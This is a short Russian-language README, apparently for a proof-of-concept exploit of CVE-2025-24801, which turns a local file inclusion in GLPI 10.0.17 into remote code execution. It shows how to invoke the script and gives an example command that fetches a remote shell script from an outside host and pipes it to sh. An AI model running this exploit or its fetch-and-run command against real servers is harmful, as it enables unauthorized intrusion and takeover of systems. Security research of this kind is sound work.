CVE-2025-24801

Этот эксплойт использует CVE-2025-24801 для получения удалённого выполнения кода (RCE) через локальное включение файлов (LFI) в GLPI 10.0.17. Доказательство концепции (PoC) этой CVE с объяснением данной уязвимости в GLPI.

Наблюдение

Некоторые приложения раскрывают конечную точку /glpi/ (например, http://172.16.11.130:8080/glpi/front/computer.form.php). Если целевое приложение включает эту конечную точку, её необходимо добавить в параметр --url (например, --url http://172.16.11.130:8080/glpi).

Использование

Пример использования.

python3 cve-2025-24801.py --url http://172.16.11.130:8080 --username glpi --password password

Если вы уже запускали этот эксплойт и активировали RCE, вы можете использовать параметр --cmd , чтобы просто выполнить команду.

python3 cve-2025-24801.py --url http://172.16.11.130:8080 --username glpi --password password --cmd "curl http://10.0.10.235/shell.sh | sh"